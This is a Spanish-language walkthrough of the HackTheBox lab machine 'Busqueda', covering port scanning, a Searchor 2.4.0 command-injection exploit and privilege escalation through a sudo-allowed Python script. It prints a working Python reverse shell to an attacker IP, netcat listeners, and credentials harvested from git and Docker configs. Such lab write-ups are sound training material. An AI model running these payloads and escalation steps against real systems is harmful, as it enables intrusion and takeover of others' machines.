HackTheBox

Busqueda



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap. Podemos ver que únicamente están abiertos los puertos número 22 con el servicio ssh y 80 con el servicio http.

❯ nmap sS -sV -T4 -v -p- 10.10.11.208
Nmap scan report for 10.10.11.208
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Al visitar la dirección IP:80 se nos redirije a searcher.htb. Así que lo agregamos al archivo /etc/hosts para que nos cargue correctamente.


└─$ sudo nano /etc/hosts
127.0.0.1       localhost
127.0.1.1       htb
10.10.11.208    searcher.htb

La funcionalidad de está web es básicamente de búsqueda, dónde se envian 2 parámetros "query" y "engine". Inspeccionando un poco más a fondo encontramos en el footer que la web utiliza Flask y Searchor versión 2.4.0


Explotando la vulnerabilidad


Hacemos un búsqueda rápida en Google y sin demasiada dificultad encontramos un exploit que parece aprovecharse de una vulnerabilidad de Searchor 2.4.0, situado en el repositorio Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection del usuario nikn0laty.

A continuación descargamos el exploit y lo ejecutamos habiendo antes puesto uno de nuestros puertos en modo escucha para recibir la reverse shell.

└─$ sudo bash ./exploit.sh searcher.htb 10.10.14.143 4444
---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---
[*] Input target is searcher.htb
[*] Input attacker is 10.10.14.143:4444
[*] Run the Reverse Shell... Press Ctrl+C after successful connection 

Funciona a la perfección y vemos como a través de la shell recibida por el puerto 4444 podemos accceder a la primera flag

└─$ nc -lvnp 4444                      
listening on [any] 4444 ...
connect to [10.10.14.143] from (UNKNOWN) [10.10.11.208] 38782
bash: cannot set terminal process group (1648): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ cd /home/svc
cd /home/svc
svc@busqueda:~$ ls
ls
snap
user.txt
svc@busqueda:~$ cat user.txt    
cat user.txt
c243bfed828743863d478995984383ef
svc@busqueda:~$     



Escalada de privilegios


svc@busqueda:~$ ls -lisa
total 48
407223 4 drwxr-x--- 7 svc  svc  4096 Jul  3 22:33 .
393218 4 drwxr-xr-x 3 root root 4096 Dec 22  2022 ..
407234 0 lrwxrwxrwx 1 root root    9 Feb 20 12:08 .bash_history -> /dev/null
407225 4 -rw-r--r-- 1 svc  svc   220 Jan  6  2022 .bash_logout
407224 4 -rw-r--r-- 1 svc  svc  3771 Jan  6  2022 .bashrc
407239 4 drwx------ 2 svc  svc  4096 Feb 28 11:37 .cache
393324 4 -rw-rw-r-- 1 svc  svc   135 Jul  3 21:10 .gitconfig
401435 4 drwx------ 3 svc  svc  4096 Jul  3 21:00 .gnupg
410850 4 drwxrwxr-x 5 svc  svc  4096 Jun 15  2022 .local
397613 0 lrwxrwxrwx 1 root root    9 Apr  3 08:58 .mysql_history -> /dev/null
407226 4 -rw-r--r-- 1 svc  svc   807 Jan  6  2022 .profile
407235 0 lrwxrwxrwx 1 root root    9 Feb 20 14:08 .searchor-history.json -> /dev/null
401430 4 drwx------ 3 svc  svc  4096 Jul  3 20:29 snap
401437 4 drwx------ 2 svc  svc  4096 Jul  3 22:27 .ssh
407253 4 -rw-r----- 1 root svc    33 Jul  3 20:24 user.txt
svc@busqueda:~$ cat .gitconfig
[user]
        email = cody@searcher.htb
        name = cody
[core]
        hooksPath = no-hooks
[safe]
        directory = /var/www/app
        directory = /var/www/app
svc@busqueda:~$ 

Encontramos el nombre de usuario "cody" y vamos a inspeccionar el directorio /var/www/app

svc@busqueda:/var/www/app$ ls -lisa
total 20
264653 4 drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 .
41701 4 drwxr-xr-x 4 root     root     4096 Apr  4 16:02 ..
265511 4 -rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py
327681 4 drwxr-xr-x 8 www-data www-data 4096 Jul  3 20:24 .git
265516 4 drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates
svc@busqueda:/var/www/app$ cd .git
svc@busqueda:/var/www/app/.git$ ls
ls
branches
COMMIT_EDITMSG
config
description
HEAD
hooks
index
info
logs
objects
refs
svc@busqueda:/var/www/app/.git$ cat config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main
svc@busqueda:/var/www/app/.git$


Encontramos un subdominio llamado gitea.searcher.htb y más importante aún lo que parece ser la contraseña del usuario cody --> jh1usoih2bkjaspwe92

Accedemos a ella con las credenciales encontradas:

Es una web estilo GitHub en la que se pueden crear repositorios con código, encontramos el código de la web searcher.htb y podemos observar que hay un usuario administrador que es quién ha creado el repositorio pero nada más allá de esto...

Vamos a probar las credenciales en el servicio SSH encontrado anteriormente.

└─$ ssh cody@searcher.htb                     
cody@searcher.htb's password: 
Permission denied, please try again.
└─$ ssh administrator@searcher.htb administrator@searcher.htb's password: Permission denied, please try again.
└─$ ssh svc@searcher.htb svc@searcher.htb's password: Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64) svc@busqueda:~$

Una vez hemos conseguido acceder con el usuario "svc" vamos a ver que es lo que podemos ejecutar como root para seguir con la escalada de privilegios.

svc@busqueda:/$ sudo -l
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
    
User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *


No somos capaces de leer el código del script así que vamos a ejecutarlo y ver que conclusiones podemos sacar:

svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py /etc/passwd
Usage: /opt/scripts/system-checkup.py action (arg1) (arg2)

docker-ps     : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup  : Run a full system checkup

svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   5 months ago   Up 5 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   5 months ago   Up 5 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect 

svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong

Volvemos al navegador y hacemos una búsqueda sobre "docker-inspect" para ver de que forma tenemos que usarlo.

Vamos a inspeccionar los dockers gitea y mysql respectivamente cogiendo su ID del comando anterior docker-ps

svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' 960873171e2e
{"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,
"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},
"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515",
"com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml",
"com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":
"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}

svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' f84a6b33fb5a
{"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,
"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14",
"MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,
"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker",
"com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}

Vamos a ir de nuevo a la web Gitea a probar las nuevas credenciales encontradas para logearnos como Administrator y luego iremos a inspeccionar la base de datos de la que tenemos la contraseña root.

¡Wow! Parece que ha funcionado y hemos accedido como administrador. Ahora tenemos acceso al código de los diferentes scripts anteriores para ver su funcionamiento.

Después de un rato mirando código encontramos algo interesante, dentro del script "system-checkup.py" podemos ver que intenta hacer al ser llamada y a que se debía el error que nos daba antes. Al llamarlo desde nuestro directorio home el script intentaba encontrar el archivo "full-checkup.sh" y al no hacerlo saltaba el "Something went wrong".

Si creamos un archivo con el nombre "full-checkup.sh" dentro de nuestro directorio con código para crear una reverse shell de root, este debería de poder ejecutarse y darnosla.

svc@busqueda:~$ cat full-checkup.sh
#!/usr/bin/python3
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.143",1500))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")

Al ejecutar el comando recibiremos la root shell por el puerto 1500 y accederemos a la última flag.

└─$ nc -lvnp 1500
listening on [any] 1500 ...
root# ls /root
ecosystem.config.js 
root.txt 
scripts 
snap
root# cat /root/root.txt
87bef491ca430e840eef770a3ce41fd